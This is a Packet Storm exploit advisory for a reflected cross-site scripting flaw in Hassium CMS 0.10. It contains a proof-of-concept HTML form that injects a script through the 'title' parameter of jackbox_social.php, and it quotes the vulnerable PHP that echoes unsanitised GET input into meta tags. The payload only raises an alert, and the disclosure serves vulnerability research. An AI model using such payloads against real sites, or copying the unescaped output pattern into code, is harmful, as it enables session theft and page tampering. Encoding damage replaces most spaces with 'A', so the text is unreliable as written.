Hassium CMS version 0.10 suffers from a cross site scripting vulnerability.
8a17add7c446d837fdbf6cf34be017fcdd515511e431018f607d83d46a27a7ba*=============================================================|
|A ExploitA Title:A A HassiumA CMSA CrossA SiteA Scripting
|
|A ExploitA Author:A AshiyaneA DigitalA SecurityA Team
|
|A VendorA Homepage:A http://www.hassium.org/index.php
|
|A DownloadA LinkA :A https://github.com/hassiumsoft/hasscms-app/archive/master.zip
|
|A VersionA :A VA 0.10
|
|A PlatformA :A PHP
|
|A TestedA on:A A KaliA LinuxA
|
|A Date:A 1A /14A /A 2017
*=============================================================|
|A ExploitA Code:A
|A
|<HTML>
|<HEAD>
|A A A A <TITLE>HassiumA CMSA CrossA SiteA Scripting</TITLE>
|</HEAD>
|<BODY>
|<formA action="http://Localhost/hasscms-app-master/themes/candidate/media/jackbox/modules/jackbox_social.php"A method="get">
|A <inputA type="hidden"A name="title"A value=""/><script>alert('M.R.S.L.Y')</script>">
|</form>
|</BODY>
|</HTML>
|
*=======================|
|A vulnerabilityA MethodA :A GET
*=======================|
|VulnerableA code:
|
|A A A <?php
|A A A A A A A A
|A A A A A A A A ifA (isset($_GET["title"]))A {
|A A A A A A A A A A A A
|A A A A A A A A A A A A $titleA =A $_GET["title"];
|A A A A A A A A A A A A printA str_replace("{contentTitle}",A $title,A '<metaA itemprop="name"A content="{contentTitle}"A />');
|A A A A A A A A }
|A A A A A A A A
|A A A A A A A A ifA (isset($_GET["poster"]))A {
|A A A A A A A A A A A A
|A A A A A A A A A A A A $posterA =A $_GET["poster"];
|A A A A A A A A A A A A printA str_replace("{imgPoster}",A $poster,A '<metaA itemprop="image"A content="{imgPoster}"A />');
|A A A A A A A A }
|A A A A A A A A
|A A A A A A A A ?>
*=============================================================|
|A SpecialA ThanksA ToA :A VirangarA ,A EhsanA Cod3rA OA micleA OA Und3rgr0undA OA Amir.ghtA O
|A xenotixOA modiretOA VA ForA VendettaA OA AlirezaA OA r4oufA OA SpooferA O
|A AndA AllA OfA MyA FriendsA OA TheA LastA OneA :A MyA Self,A M.R.S.L.YA A
*=============================================================|
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed